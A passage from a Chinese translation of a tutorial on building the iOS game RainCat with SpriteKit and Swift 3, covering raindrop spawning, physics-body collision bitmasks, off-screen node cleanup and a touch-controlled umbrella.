并不喜欢下雨天，而它被淋湿之后就会觉得很难过。为了让它能在大吃的时候不被雨水淋到，我们必须要替它撑把伞。想先体验一下我们的目标成果的话，看看 [完整项目](https://itunes.apple.com/us/app/raincat/id1152624676?ls=1&amp;mt=8)<sup>[\\[3\\]](#note-3)</sup> 吧。项目中会有一些文章里不会涉及到的进阶内容，但你可以稍后在 GitHub 上面看到这些内容。本系列的目标是让你深刻地理解做一个简单地游戏需要投入些什么。你可以随时与我们联系，并把这些代码作为将来其它项目的参考。我将会持续更新代码库，添加一些有趣的新功能并对一些部分进行重构。\n\n在本文中，我们将：\n\n- 查看 RainCat 游戏的初始代码；\n- （为游戏）添加地面；\n- （为游戏）添加雨滴；\n- 初始化物理引擎；\n- 添加雨伞对象，替猫儿遮雨；\n- 利用 `categoryBitMask` 和 `contactTestBitMask` 来实现碰撞检测；\n- 创造一个全局边界（ world boundary ）来移除落出屏幕的结点（ node ）。\n\n### 入门\n\n接下来有几件事需要你跟着完成。为了让你轻松起步，我准备好了一个基础工程。这个工程把 Xcode 8 在创建新的 SpriteKit 工程时联带生成的冗余代码都删的一干二净了。\n\n- 从 [这里](https://github.com/thirteen23/RainCat/releases/tag/smashing-magazine-initial-code)<sup>[\\[4\\]](#note-4)</sup> 下载 RainCat 游戏工程的基础代码。\n- 安装 Xcode 8。\n- 找一台测试机器！在本例中，你应该找一台 iPad ，这样可以避免做复杂的屏幕适配。模拟器也是可以的，但是操作上会有延迟，而且比在真实设备上的帧数低不少。\n\n### 查看工程代码\n\n我已经帮你起了个好头了，创建好了 RainCat 工程，还做了一些初始化的工作。打开这个 Xcode 工程。现在，项目看起来还非常的简单基础。我们先梳理一下现在的情况：我们创建了一个工程，指定运行系统为 iOS 10，运行设备为 iPad ，并且只支持设备的水平方向。如果我们要在较旧的设备上进行测试，我们也可以把系统版本设定为更早的版本，Swift 3 至多支持到 iOS 8 。当然，让你的应用支持起码比最新版本要早一个版本的系统也是一个很好的实践。不过需要注意：本教程内容仅针对 iOS 10 ，如果你要支持更早的版本的话，可能会出现一些问题。\n\n决定利用 Swift 3 来实现这个游戏的原因： iOS 开发者社区非常积极地参与到了 Swift 3 的发布过程中，带来了许多编码风格上的变化和全方位的升级。由于新版本的 iOS 系统在 Apple 用户群体中覆盖速率快、面积广，我们认为，使用最新发布的 Swift 版本来编写这篇教程是最合适的。\n\n在 `GameViewController.swift` 中有一个标准的 [`UIViewController`](https://developer.apple.com/library/content/referencelibrary/GettingStarted/DevelopiOSAppsSwift/Lesson4.html)<sup>[\\[5\\]](#note-5)</sup> 子类 ，我们修改了一些初始化 `GameScene.swift` 中的 [`SKScene`](https://developer.apple.com/reference/spritekit/skscene)<sup>[\\[6\\]](#note-6)</sup> 的代码。在做这些改动之前，我们会通过一个 SpriteKit 场景编辑器文件（ SpriteKit scene editor (SKS) file ）来读取 `GameScene` 类。在本教程中，我们将直接读取这个场景，而不是使用更复杂的 SKS 文件。如果你想更深入地了解 SKS 文件的相关知识， Ray Wenderlich 有一篇 [极佳的文章](https://www.raywenderlich.com/118225/introduction-sprite-kit-scene-editor)<sup>[\\[7\\]](#note-7)</sup> 。\n\n### 获取资源文件\n\n在我们写代码之前，要先获取项目中会用到的资源。今天我们会用到雨伞和雨滴。你可以在 GitHub 上找到这些 [纹理](https://github.com/thirteen23/RainCat/tree/smashing-day-1/dayOneAssets.zip)<sup>[\\[8\\]](#note-8)</sup> 。将它们添加到 Xcode 左部面板的 `Assets.xcassets` 文件夹中。当你点击 `Assets.xcassets` 文件，你会见到一个带有 `AppIcon` 占位符的空白界面。在 Finder 中选中所有（解压的资源文件），并把它们都拖到 `AppIcon` 占位符的下面。如果你正确进行了上述操作，你的 “Assets” 文件看起来应该是这样：\n\n[![程序的资源文件](https://www.smashingmagazine.com/wp-content/uploads/2016/10/App-assets-preview-opt.png)](https://www.smashingmagazine.com/wp-content/uploads/2016/10/App-assets-preview-opt.png)<sup>[\\[9\\]](#note-9)</sup>\n\n虽然你不能从白色的背景上分辨出白色的伞尖，但我保证，它是在那儿的。\n\n### 是时候动手编码了\n\n现在我们已经做足了各项准备工作，我们可以开始动手开发游戏啦。\n\n我们首先要做出个地面，好腾出地方来遛猫和喂猫。由于背景和地面都非常的简单，我们可以把这些精灵（ sprite ）放到一个自定义的背景结点（ node ）中。在 Xcode 左部面板的 “Sprites” 文件夹下，创建名为 `BackgroundNode.swift` 的 Swift 源文件，并添加以下代码：\n\n```\nimport SpriteKit\n\npublic class BackgroundNode : SKNode {\n\n  public func setup(size : CGSize) {\n    let yPos : CGFloat = size.height * 0.10\n    let startPoint = CGPoint(x: 0, y: yPos)\n    let endPoint = CGPoint(x: size.width, y: yPos)\n    physicsBody = SKPhysicsBody(edgeFrom: startPoint, to: endPoint)\n    physicsBody?.restitution = 0.3\n  }\n}\n\n```\n\n上面的代码引用了 SpriteKit 框架。这是 Apple 官方的用于开发游戏的资源库。在我们接下来新建的大部分源文件中，我们都会用到它。我们创建的这个对象是一个 [`SKNode`](https://developer.apple.com/reference/spritekit/sknode)<sup>[\\[10\\]](#note-10)</sup> 实例，我们会把它作为背景元素的容器。目前，我们仅仅是在调用 `setup(size:)` 方法的时候为其添加了一个 [`SKPhysicsBody`](https://developer.apple.com/reference/spritekit/skphysicsbody)<sup>[\\[11\\]](#note-11)</sup> 实例。这个物理实体（ physics body ）会告诉我们的场景（ scene ），其定义的区域（目前只有一条线），能够和其它的物理实体和 [物理世界（ physics world ）](https://developer.apple.com/reference/spritekit/skphysicsworld)<sup>[\\[12\\]](#note-12)</sup> 进行交互。我们还改变了 `restitution` 的值。这个属性决定了地面的弹性。想让这个对象为我们所用，我们需要把它加入 `GameScene` 中。切换到 `GameScene.swift` 文件中，在靠近顶部，一串 `TimeInterval` 变量的下面，添加如下代码：\n\n```\nprivate let backgroundNode = BackgroundNode()\n\n```\n\n然后，在 `sceneDidLoad()` 方法中，我们可以初始化背景，并将其加入场景中：\n\n```\nbackgroundNode.setup(size: size)\naddChild(backgroundNode)\n\n```\n\n现在，如果我们运行程序，我们将会看到如图的游戏场景：\n\n[![空白场景](https://www.smashingmagazine.com/wp-content/uploads/2016/10/Empty-scene-preview-opt.png) ](https://www.smashingmagazine.com/wp-content/uploads/2016/10/Empty-scene-preview-opt.png)<sup>[\\[13\\]](#note-13)</sup>\n\n我们的略微空旷的场景。\n\n如果你没看见那条线，那说明你在将结点（ node ）加入场景时出现了错误，要么就是场景现在不显示物理实体。要控制这些选项的开关，只需要在 `GameViewController.swift` 中修改下列选项即可：\n\n```\nif let view = self.view as! SKView? {\n\tview.presentScene(sceneNode)\n\tview.ignoresSiblingOrder = true\n\tview.showsPhysics = true\n\tview.showsFPS = true\n\tview.showsNodeCount = true\n}\n\n```\n\n现在，确保 `showsPhysics` 属性被设为 `true` 。这有助于我们调试物理实体。尽管眼下并没有什么值得特别关注的地方，但这个背景将会充当雨滴下落反弹时的地面，也会作为猫咪行走时的边界。\n\n接下来，我们来添加一些雨水。\n如果我们在把雨滴加入场景之前思考一下，就会明白在这儿我们需要一个可复用的方法来原子性地添加雨滴。雨滴元素将由一个 `SKSpriteNode` 和另外一个物理实体构成。你可以用一张图片或是一块纹理来实例化一个 `SKSpriteNode` 对象。明白了这点，并且想到我们应该会添加许多的雨滴，我们就知道自己应该做一些复用了。有了这个想法，我们就可以复用纹理，而不必每次创建雨滴元素时都创建新的纹理了。\n\n在 `GameScene.swift` 文件的顶部，实例化 `backgroundNode` 的前面，加入下面这行代码：\n\n```\nlet raindropTexture = SKTexture(imageNamed: \"rain_drop\")\n\n```\n\n现在我们就可以在创建雨滴时进行复用，而不需要在每次都浪费内存来生成一份新的纹理了。\n\n接着，在 `GameScene.swift` 的底部，加入下述代码，以便我们方便的创建雨滴：\n\n```\nprivate func spawnRaindrop() {\n    let raindrop = SKSpriteNode(texture: raindropTexture)\n    raindrop.physicsBody = SKPhysicsBody(texture: raindropTexture, size: raindrop.size)\n    raindrop.position = CGPoint(x: size.width / 2, y: size.height / 2)\n\n    addChild(raindrop)\n  }\n\n```\n\n该方法被调用时，会利用我们刚刚创建的 `raindropTexture` 来生成一个新的雨滴结点。然后，我们通过纹理的形状创建 `SKPhysicsBody`，将结点位置设置为场景中央，并最终将其加入场景中。由于我们为雨滴结点添加了 `SKPhysicsBody` ，它将会自动地受到默认的重力作用并滴落至地面。为了测试这段代码，我们可以在 `touchesBegan(_ touches:, with event:)` 中调用这个方法，并看到如图的效果：\n\n[![下起雨吧](https://www.smashingmagazine.com/wp-content/uploads/2016/10/first-rain-fall.gif)](https://www.smashingmagazine.com/wp-content/uploads/2016/10/first-rain-fall.gif)<sup>[\\[14\\]](#note-14)</sup>\n\n让雨水来的更猛烈些吧\n\n只要我们不断地点击屏幕，雨滴就会源源不断地出现。这仅仅是出于测试的目的；毕竟最终我们想要控制的是雨伞，而不是雨水落下的速率。玩够了之后，我们就该把代码从 `touchesBegan(_ touches:, with event:)` 中删除，并将其绑定到我们的 `update` 循环中了。我们有一个名为 `update(_ currentTime:)` 的方法，我们希望在这个方法中进行降雨操作。方法中已经有一些基础代码了；目前，我们仅仅是测量时间差，但一会儿，我们将用它来更新其它的精灵元素。在这个方法的底部，更新 `self.lastUpdateTime` 变量之前，添加如下代码：\n\n```\n// Update the spawn timer\ncurrentRainDropSpawnTime += dt\n\nif currentRainDropSpawnTime > rainDropSpawnRate {\n  currentRainDropSpawnTime = 0\n  spawnRaindrop()\n}\n\n```\n\n上述代码在每次累加的时间差大于 `rainDropSpawnRate` 的时候，就会新建一个雨滴。`rainDropSpawnRate` 目前是 0.5 秒；也就是说，每过半秒钟就会有新的雨滴被创建并落至地面。运行程序来测试一下吧。现在你不需要点击屏幕，而是每过半秒就有一滴新的雨滴被创建并下落，就像之前一样。\n\n但这还不够好。我们可不想所有雨滴都出现在同一个地方，更别说都从屏幕中间开始往下落了。我们可以更新 `spawnRaindrop()` 方法来随机化每个新雨滴的 `x` 坐标，并将它们放到屏幕顶部。\n\n找到 `spawnRaindrop()` 方法中的这行代码：\n\n```\nraindrop.position = CGPoint(x: size.width / 2, y: size.height / 2)\n\n```\n\n将其替换成如下代码：\n\n```\nlet xPosition =\n\tCGFloat(arc4random()).truncatingRemainder(dividingBy: size.width)\nlet yPosition = size.height + raindrop.size.height\n\nraindrop.position = CGPoint(x: xPosition, y: yPosition)\n\n```\n\n在创建雨滴之后，我们利用 `arc4Random()` 来随机化 `x` 坐标，并通过调用 `truncatingRemainder` 来确保坐标在屏幕范围内。现在运行程序，你应该可以看到这样的效果：\n\n[![雨下一整天!](https://www.smashingmagazine.com/wp-content/uploads/2016/10/Raindrops-for-days-preview-opt.png)](https://www.smashingmagazine.com/wp-content/uploads/2016/10/Raindrops-for-days-preview-opt.png)<sup>[\\[15\\]](#note-15)</sup>\n\n这雨可以下好几天！\n\n我们可以尝试不同的雨滴生成速率，雨滴生成的快慢将会根据我们设置的值变化。将 `rainDropSpawnRate` 设置为 `0` ，你将会看到漫天的雨滴。但如果你真的这么做了，你就会发现一个严重的问题。我们相当于创建了无数个对象，并且永远没有清除它们的机制，我们的帧率最终会掉到四帧左右，并且很快就会超出内存限制。\n\n### 监测碰撞\n\n我们目前只需要考虑两种碰撞。雨滴之间的碰撞以及雨滴和地面的碰撞。我们需要监测雨滴碰撞到其它实体时的情况，并判断是否要移除雨滴。我们将引入另一个物理实体来充当全局边界（ world frame ）。任何触碰到边界的对象都会被销毁，内存压力也将得到缓解。我们还需要区分不同的物理实体。幸运的是，`SKPhysicsBody` 有一个名为 `categoryBitMask` 的属性。这个属性将帮助我们区分互相发生接触的对象。\n\n要完成上述工作，我们将在 Xcode 左部面板的 “Support” 文件夹下新创建一个 `Constants.swift` 源文件。这个 “Constants” 文件将统一管理我们在整个工程中会用到的硬编码值（ hardcode value ）。我们并不会用到许多这种类型的变量，但把它们放在同一个地方管理是一个好习惯，这样我们就不需要在工程中到处寻找它们了。创建完文件后，在里面添加如下的代码：\n\n```\nlet WorldCategory    : UInt32 = 0x1 << 1\nlet RainDropCategory : UInt32 = 0x1 << 2\nlet FloorCategory    : UInt32 = 0x1 << 3\n\n```\n\n上述的代码运用了 [移位运算符](http://www-numi.fnal.gov/offline_software/srt_public_context/WebDocs/Companion/cxx_crib/shift.html)<sup>[\\[16\\]](#note-16)</sup> 来为不同物理实体的 [`categoryBitMasks`](https://developer.apple.com/reference/spritekit/skphysicsbody/1519869-categorybitmask)<sup>[\\[17\\]](#note-17)</sup> 设置不同的唯一值。`0x1 << 1` 是十六进制的 1 ，`0x1 << 2` 是十六进制的 2 ，`0x1 << 3` 是十六进制的 4 ，后续的值依此类推，为前一个值的两倍。在设置这些特定的类别（ category ）之后，回到 `BackgroundNode.swift` 文件中，将我们的物理实体更新为刚创建的 `FloorCategory` 。接着，我们还要将地面物理实体设置为可触碰的。为了达到这个目的，将 `RainDropCategory` 添加到地面元素的 `contactTestBitMask` 中。如此一来，当我们将这些元素加入 `GameScene.swift` 中时，我们就能在二者（雨滴和地面）接触时收到回调了。`BackgroundNode` 代码如下：\n\n```\nimport SpriteKit\n\npublic class BackgroundNode : SKNode {\n\n  public func setup(size : CGSize) {\n\n    let yPos : CGFloat = size.height * 0.10\n    let startPoint = CGPoint(x: 0, y: yPos)\n    let endPoint = CGPoint(x: size.width, y: yPos)\n\n    physicsBody = SKPhysicsBody(edgeFrom: startPoint, to: endPoint)\n    physicsBody?.restitution = 0.3\n    physicsBody?.categoryBitMask = FloorCategory\n    physicsBody?.contactTestBitMask = RainDropCategory\n  }\n}\n\n```\n\n下一步则是为雨滴元素设置正确的类别，并为其添加可触碰元素。回到 `GameScene.swift` 中，在 `spawnRaindrop()` 方法中初始化雨滴物理实体的代码后面添加：\n\n```\nraindrop.physicsBody?.categoryBitMask = RainDropCategory\nraindrop.physicsBody?.contactTestBitMask = FloorCategory | WorldCategory\n\n```\n\n注意，此处我们也添加了 `WorldCategory` 。由于我们此处使用的是 [位掩码（ bitmask ）](https://en.wikipedia.org/wiki/Mask_%28computing%29)<sup>[\\[18\\]](#note-18)</sup> ，我们可以通过 [位运算（ bitwise operation）](https://en.wikipedia.org/wiki/Bitwise_operation)<sup>[\\[19\\]](#note-19)</sup> 来添加任何我们想要的类别。而对于本例中的 `raindrop` 实例，我们希望监听它与 `FloorCategory` 以及 `WorldCategory` 发生碰撞时的信息。现在，我们终于可以在 `sceneDidLoad()` 方法中加入我们的全局边界了：\n\n```\nvar worldFrame = frame\nworldFrame.origin.x -= 100\nworldFrame.origin.y -= 100\nworldFrame.size.height += 200\nworldFrame.size.width += 200\n\nself.physicsBody = SKPhysicsBody(edgeLoopFrom: worldFrame)\nself.physicsBody?.categoryBitMask = WorldCategory\n\n```\n\n在上述代码中，我们创建了一个和场景形状相同的边界，只不过我们将每个边都扩张了 100 个点。这相当于创建了一个缓冲区，使得元素在离开屏幕后才会被销毁。注意我们所使用的 `edgeLoopFrom` ，它创建了一个空白矩形，其边界可以和其它元素发生碰撞。\n\n现在，一切用于检测碰撞的准备都已经就绪了，我们只需要监听它就可以了。为我们的游戏场景添加对 `SKPhysicsContactDelegate` 协议的支持。在文件的顶部，找到这一行代码：\n\n```\nclass GameScene: SKScene {\n\n```\n\n把它改成这样：\n\n```\nclass GameScene: SKScene, SKPhysicsContactDelegate {\n\n```\n\n现在，我们需要监听场景的 [`physicsWorld`](https://developer.apple.com/reference/spritekit/skphysicsworld)<sup>[\\[20\\]](#note-20)</sup> 中所发生的碰撞。在 `sceneDidLoad()` 中，我们设置全局边界的逻辑下面添加如下代码：\n\n```\n\tself.physicsWorld.contactDelegate = self\n\n```\n\n接着，我们需要实现 `SKPhysicsContactDelegate` 中的一个方法，`didBegin(_ contact:)`。每当带有我们预先设置的 `contactTestBitMasks` 的物体碰撞发生时，这个方法就会被调用。在 `GameScene.swift` 的底部，加入如下代码：\n\n```\nfunc didBegin(_ contact: SKPhysicsContact) {\n    if (contact.bodyA.categoryBitMask == RainDropCategory) {\n      contact.bodyA.node?.physicsBody?.collisionBitMask = 0\n      contact.bodyA.node?.physicsBody?.categoryBitMask = 0\n    } else if (contact.bodyB.categoryBitMask == RainDropCategory) {\n      contact.bodyB.node?.physicsBody?.collisionBitMask = 0\n      contact.bodyB.node?.physicsBody?.categoryBitMask = 0\n    }\n}\n\n```\n\n现在，当一滴雨滴和任何其它对象的边缘发生碰撞后，我们会将其碰撞掩码（ collision bitmask ）清零。这样做可以避免雨滴在初次碰撞后反复与其它对象碰撞，最终变成像俄罗斯方块那样的噩梦！\n\n[![弹跳的雨滴](https://www.smashingmagazine.com/wp-content/uploads/2016/10/happy-bouncing-raindrops.gif) ](https://www.smashingmagazine.com/wp-content/uploads/2016/10/happy-bouncing-raindrops.gif)<sup>[\\[21\\]](#note-21)</sup>\n\n愉快蹦达着的小雨滴\n\n如果雨滴的表现没有像 GIF 图中所展示的那样，回头确认所有的 `categoryBitMask` 和 `contactTestBitMasks` 都被正确设置了。同时，你应该注意到场景右下角的结点数目会持续增长。雨滴不会再堆积在地面上了，但它们也没有从场景中移除。如果我们不做移除工作，内存依然会出现不足的情况。\n\n在 `didBegin(_ contact:)` 方法中，我们需要加入销毁操作来移除这些结点。该方法需要被修改成这样：\n\n```\nfunc didBegin(_ contact: SKPhysicsContact) {\n     if (contact.bodyA.categoryBitMask == RainDropCategory) {\n      contact.bodyA.node?.physicsBody?.collisionBitMask = 0\n      contact.bodyA.node?.physicsBody?.categoryBitMask = 0\n    } else if (contact.bodyB.categoryBitMask == RainDropCategory) {\n      contact.bodyB.node?.physicsBody?.collisionBitMask = 0\n      contact.bodyB.node?.physicsBody?.categoryBitMask = 0\n    }\n\n    if contact.bodyA.categoryBitMask == WorldCategory {\n      contact.bodyB.node?.removeFromParent()\n      contact.bodyB.node?.physicsBody = nil\n      contact.bodyB.node?.removeAllActions()\n    } else if contact.bodyB.categoryBitMask == WorldCategory {\n      contact.bodyA.node?.removeFromParent()\n      contact.bodyA.node?.physicsBody = nil\n      contact.bodyA.node?.removeAllActions()\n    }\n}\n\n```\n\n现在，运行程序，我们会看到结点计数器增长到 6 个结点左右之后便会维持在那个数字。如果确实如此，那就证明我们成功的移除了那些离开屏幕的结点了。\n\n### 更新背景结点\n\n目前为止，背景结点都非常的简单。它只是一个 `SKPhysicsBody` ，也就是一条线。我们要对它进行升级来让我们的应用看起来更棒。放在以前，我们会用一个 `SKSpriteNode` 来实现这个需求，但这意味着要为一个简单背景耗费一块巨大的纹理。由于背景仅仅由两种颜色组成，我们可以通过创建两个 `SKShapeNode` 来达到天空和地面的效果。\n\n打开 `BackgroundNode.swift` 并在 `setup(size)` 方法中，初始化 `SKPhysicsBody` 的下面添加如下代码：\n\n```\nlet skyNode = SKShapeNode(rect: CGRect(origin: CGPoint(), size: size))\nskyNode.fillColor = SKColor(red:0.38, green:0.60, blue:0.65, alpha:1.0)\nskyNode.strokeColor = SKColor.clear\nskyNode.zPosition = 0\n\nlet groundSize = CGSize(width: size.width, height: size.height * 0.35)\nlet groundNode = SKShapeNode(rect: CGRect(origin: CGPoint(), size: groundSize))\ngroundNode.fillColor = SKColor(red:0.99, green:0.92, blue:0.55, alpha:1.0)\ngroundNode.strokeColor = SKColor.clear\ngroundNode.zPosition = 1\n\naddChild(skyNode)\naddChild(groundNode)\n\n```\n\n在上述代码中，我们创建了两个矩形的 `SKShapeNode` 实例，但引入 `zPosition` 导致了一个新问题。我们将 `skyNode` 的 `zPosition` 设为 `0` ，而地面结点设置为 `1`，如此一来，在渲染时地面就会始终在天空之上。如果你现在运行程序，你会发现，雨滴会被渲染在天空之上，但却在地面之下。这显然不是我们想要的。让我们回到 `GameScene.swift` 中，更新 `spawnRaindrop()` 方法中雨滴的 `zPosition` ，使之在被渲染在地面之上。在 `spawnRaindrop()` 方法中，设置雨滴出现位置的下方，加入下列代码：\n\n```\nraindrop.zPosition = 2\n\n```\n\n再次运行程序，背景应该能够被正常绘制了。\n\n[![背景](https://www.smashingmagazine.com/wp-content/uploads/2016/10/Background-preview-opt.png) ](https://www.smashingmagazine.com/wp-content/uploads/2016/10/Background-preview-opt.png)<sup>[\\[22\\]](#note-22)</sup>\n\n这下就好多了。\n\n### 添加交互\n\n现在对雨滴和背景的设置都已经完成了，我们可以开始添加交互了。在 “Sprites” 文件夹下添加 `UmbrellaSprite.swift` 源文件，并添加下列代码以生成雨伞的雏形。\n\n```\nimport SpriteKit\n\npublic class UmbrellaSprite : SKSpriteNode {\n  public static func newInstance() -> UmbrellaSprite {\n    let umbrella = UmbrellaSprite(imageNamed: \"umbrella\")\n\n    return umbrella\n  }\n}\n\n```\n\n一个非常基础的对象就能满足创建雨伞的要求了。目前，我们只是使用一个静态方法创建了一个新的精灵结点（ sprite node ），但别急，一会我们就会为其添加一个自定的物理实体了。我们可以像创建雨滴一样，调用 `init(texture: size:)` 方法来用纹理创建一个物理实体。这样做也是可以的，但是雨伞的把手就会被物理实体所环绕。如果把手被物理实体环绕，那么猫就可能被挂在伞上，这个游戏也就因此失去了许多乐趣。所以，我们会转而通过在 `newInstance()` 方法中构造一个 `CGPath` 来初始化 `SKPhysicsBody` 。将下列代码添加到 `UmbrellaSprite.swift` 的 `newInstance()` 方法中，返回雨伞对象的语句之前。\n\n```\nlet path = UIBezierPath()\npath.move(to: CGPoint())\npath.addLine(to: CGPoint(x: -umbrella.size.width / 2 - 30, y: 0))\npath.addLine(to: CGPoint(x: 0, y: umbrella.size.height / 2))\npath.addLine(to: CGPoint(x: umbrella.size.width / 2 + 30, y: 0))\n\numbrella.physicsBody = SKPhysicsBody(polygonFrom: path.cgPath)\numbrella.physicsBody?.isDynamic = false\numbrella.physicsBody?.restitution = 0.9\n\n```\n\n我们自己创建路径来初始化雨伞的 `SKPhysicsBody` 主要有两个原因。首先，就像之前提到的一样，我们只希望雨伞的顶部能够与其它对象碰撞。其次，这样我们可以自行调控雨伞的有效撞击区域。\n\n先创建一个 `UIBezierPath` 并添加点和线绘制好图形后，再通过它生成 `CGPath` 是一个相对简单的方法。上述代码中，我们就创建了一个 `UIBezierPath` 并将其绘制起点移动到精灵的中心点。`umbrellaSprite` 的中心点是 `0,0` 的原因是：其 [`anchorPoint`](https://developer.apple.com/reference/spritekit/skspritenode#//apple_ref/occ/instp/SKSpriteNode/anchorPoint)<sup>[\\[23\\]](#note-23)</sup> 的值为 `0.5,0.5` 。接着，我们向左侧添加一条线，并向外延伸 30 个点（ points ）。\n\n本文中关于“点（ point ）”的概念的注解：一个“点”，不要与 `CGPoint` 或是我们的 `anchorPoint` 混淆，它是一个测量单位。在非 Retina 设备上，一个点等于一个像素，在 Retina 设备上则等于两个像素，这个值会随着屏幕分辨率的提高而增加。更多相关知识，请参阅 Fluid 博客中的 [pixels and points](http://blog.fluidui.com/designing-for-mobile-101-pixels-points-and-resolutions/)<sup>[\\[24\\]](#note-24)</sup> 。\n\n随后，我们一路画到精灵的顶部中点位置，再画到中部右侧，并向外延伸 30 个点。我们向外延伸一些距离，是为了在保持精灵外观的前提下，增大其能遮雨的区域。当我们用这个多边形初始化 `SKPhysicsBody` 时，路径将会自动闭合成一个完整的三角形。接着，将雨伞的物理状态设置为非动态，这样它就不会受重力影响了。我们绘制的这个物理实体看起来是这样的：\n\n[![雨伞特写](https://www.smashingmagazine.com/wp-content/uploads/2016/10/Umbrella-Close-up-preview-opt.png)](https://www.smashingmagazine.com/wp-content/uploads/2016/10/Umbrella-Close-up-large-opt.png)<sup>[\\[25\\]](#note-25)</sup>\n\n雨伞物理实体的特写（[放大版本](https://www.smashingmagazine.com/wp-content/uploads/2016/10/Umbrella-Close-up-large-opt.png)<sup>[\\[26\\]](#note-26)</sup>）\n\n现在，到 `GameScene.swift` 中来初始化雨伞对象并将其加入场景中。在文件顶部，类变量的下方，加入下面的代码：\n\n```\nprivate let umbrellaNode = UmbrellaSprite.newInstance()\n\n```\n\n接着，在 `sceneDidLoad()` 中，将 `backgroundNode` 加入场景的下面，加入如下代码来将雨伞放置在屏幕中央：\n\n```\numbrellaNode.position = CGPoint(x: frame.midX, y: frame.midY)\numbrellaNode.zPosition = 4\naddChild(umbrellaNode)\n\n```\n\n完成上述操作后，再运行程序，你就能看见雨伞了，同时你还会发现雨滴将会被雨伞弹开！\n\n### 动起来\n\n我们要为雨伞添加手势响应了。聚焦到 `GameScene.swift` 中的空方法 `touchesBegan(_ touches:, with event:)` 和 `touchesMoved(_ touches:, with event:)` 。这两个方法会把我们的交互操作传递给雨伞对象。如果我们在两个方法中都直接根据当前的触摸来更新雨伞的位置，雨伞将会从屏幕的一个位置瞬间移动到另一位置。\n\n另一个可行方法是，实时设置 `UmbrellaSprite` 对象的终点，并且在 `update(dt:)` 方法被调用时，逐步向终点方向移动。\n\n而第三个可选方案则是在 `touchesBegan(_ touches:, with event:)` 或 `touchesMoved(_ touches:, with event:)` 中通过设置一系列 `SKAction` 来移动 `UmbrellaSprite` ，但我不推荐这么做。这样做会导致 `SKAction` 对象被频繁创建和销毁，使得性能变差。\n\n我们这里选择第二个解决方案。将 `UmbrellaSprite` 的代码改成下面这样：\n\n```\nimport SpriteKit\n\npublic class UmbrellaSprite : SKSpriteNode {\n  private var destination : CGPoint!\n  private let easing : CGFloat = 0.1\n\n  public static func newInstance() -> UmbrellaSprite {\n    let umbrella = UmbrellaSprite(imageNamed: \"umbrella\")\n\n    let path = UIBezierPath()\n    path.move(to: CGPoint())\n    path.addLine(to: CGPoint(x: -umbrella.size.width / 2 - 30, y: 0))\n    path.addLine(to: CGPoint(x: 0, y: umbrella.size.height / 2))\n    path.addLine(to: CGPoint(x: umbrella.size.width / 2 + 30, y: 0))\n\n    umbrella.physicsBody = SKPhysicsBody(polygonFrom: path.cgPath)\n    umbrella.physicsBody?.isDynamic = false\n    umbrella.physicsBody?.restitution = 0.9\n\n    return umbrella\n  }\n\n  public func updatePosition(point : CGPoint) {\n    position = point\n    destination = point\n  }\n\n  public func setDestination(destination : CGPoint) {\n    self.destination = destination\n  }\n\n  public func update(deltaTime : TimeInterval) {\n    let distance = sqrt(pow((destination.x - position.x), 2) + pow((destination.y - position.y), 2))\n\n    if(distance > 1) {\n      let directionX = (destination.x - position.x)\n      let directionY = (destination.y - position.y)\n\n      position.x += directionX * easing\n      position.y += directionY * easing\n    } else {\n      position = destination;\n    }\n  }\n}\n\n```\n\n这里主要干了这么几件事。`newInstance()` 方法保持不变，但我们在它的上方加入了两个变量。我们加入了 destination 变量（保存对象移动的终点位置）；我们加入了 `setDestination(destination:)` 方法来缓冲雨伞的移动；我们还加入了一个 `updatePosition(point:)` 方法。\n\n`updatePosition(point:)` 方法将会在我们进行刷新操作之前直接对 `position` 属性进行赋值（译者注：此处的意思是，雨伞的移动本应是设置终点后，在 `update(dt:)` 方法中逐步移动，但这个 `updatePosition(point:)` 方法将直接移动雨伞）。现在我们可以同时更新 position 和 destination 了。如此一来， `umbrellaSprite` 对象就会被移动到相应位置，并保持在原地，由于这个位置就是它的终点，它也不会在设置位置后立刻移动了。\n\n`setDestination(destination:)` 方法仅更新 destination 属性的值；我们会在后续对这个值进行一系列运算。最终，我们在 `update(dt:)` 方法中添加了计算我们所需要向终点方向移动多少距离的逻辑。我们计算两点之间的距离，如果距离大于一个点，我们就结合 `easing` 属性来计算移动的距离（译者注：原文写的是 `easing` function ，但实际代码中 `easing` 只是一个 factor 属性）。在计算出对象需要移动的方向和距离后， `easing` 属性将每个坐标轴上所需移动的距离乘以 10% ，作为实际移动距离。这样做的话，雨伞就不会瞬间到达新的位置了，当雨伞离目标位置较远时，其移动速度会较快，而当它接近终点附近，它的速度便会逐渐减低。如果距离终点距离不足一个点，我们就直接移动到终点。我们这样做是因为缓冲机制（easing function）的存在会使终点附近的移动非常缓慢。不用反复地计算、更新并每次将雨伞移动一小段距离，我们只需要简单地设置好终点位置就可以了。\n\n回到 `GameScene.swift` 中，将 `touchesBegan(_ touches: with event:)` 和 `touchesMoved(_ touches: with event:)` 中的逻辑做如下修改：\n\n```\noverride func touchesBegan(_ touches: Set<UITouch>, with event: UIEvent?) {\n    let touchPoint = touches.first?.location(in: self)\n\n    if let point = touchPoint {\n      umbrellaNode.setDestination(destination: point)\n    }\n  }\n\noverride func touchesMoved(_ touches: Set<UITouch>, with event: UIEvent?) {\n    let touchPoint = touches.first?.location(in: self)\n\n    if let point = touchPoint {\n      umbrellaNode.setDestination(destination: point)\n    }\n  }\n\n```\n\n现在，我们的雨伞就能响应触摸事件了。在每个方法中，我们都检测触摸是否有效。有效的话，我们就将雨伞的终点更新为触摸的位置。接下来，把 `sceneDidLoad()` 中的这行代码：\n\n```\numbrella.position = CGPoint(x: frame.midX, y: frame.midY)\n```\n\n修改成：\n\n```\numbrellaNode.updatePosition(point: CGPoint(x: frame.midX, y: frame.midY))\n```\n\n这样，雨伞的初始位置和终点就设置好了。当我们运行程序，场景中的雨伞仅会在我们进行手势交互时才会移动。最后，我们要在 `update(currentTime:)` 中通知雨伞进行更新。\n\n在 `update(currentTime:)` 的底部加入如下代码：\n\n```\numbrellaNode.update(deltaTime: dt)\n\n```\n\n再次运行程序，雨伞应该能够正确地跟着点击和拖动手势进行移动了。\n\n嘿，第一课到此结束啦！我们接触到了许多概念，并自己动手搭建了基础代码，接着又添加了一个容器结点来容纳背景和地面的 `SKPhysicsBody` 。我们还成功使新的雨滴定时出现，并让雨伞响应我们的手势。你可以在 [GitHub上找到](https://github.com/thirteen23/RainCat/releases/tag/smashing-magazine-lesson-one)<sup>[\\[27\\]](#note-27)</sup> 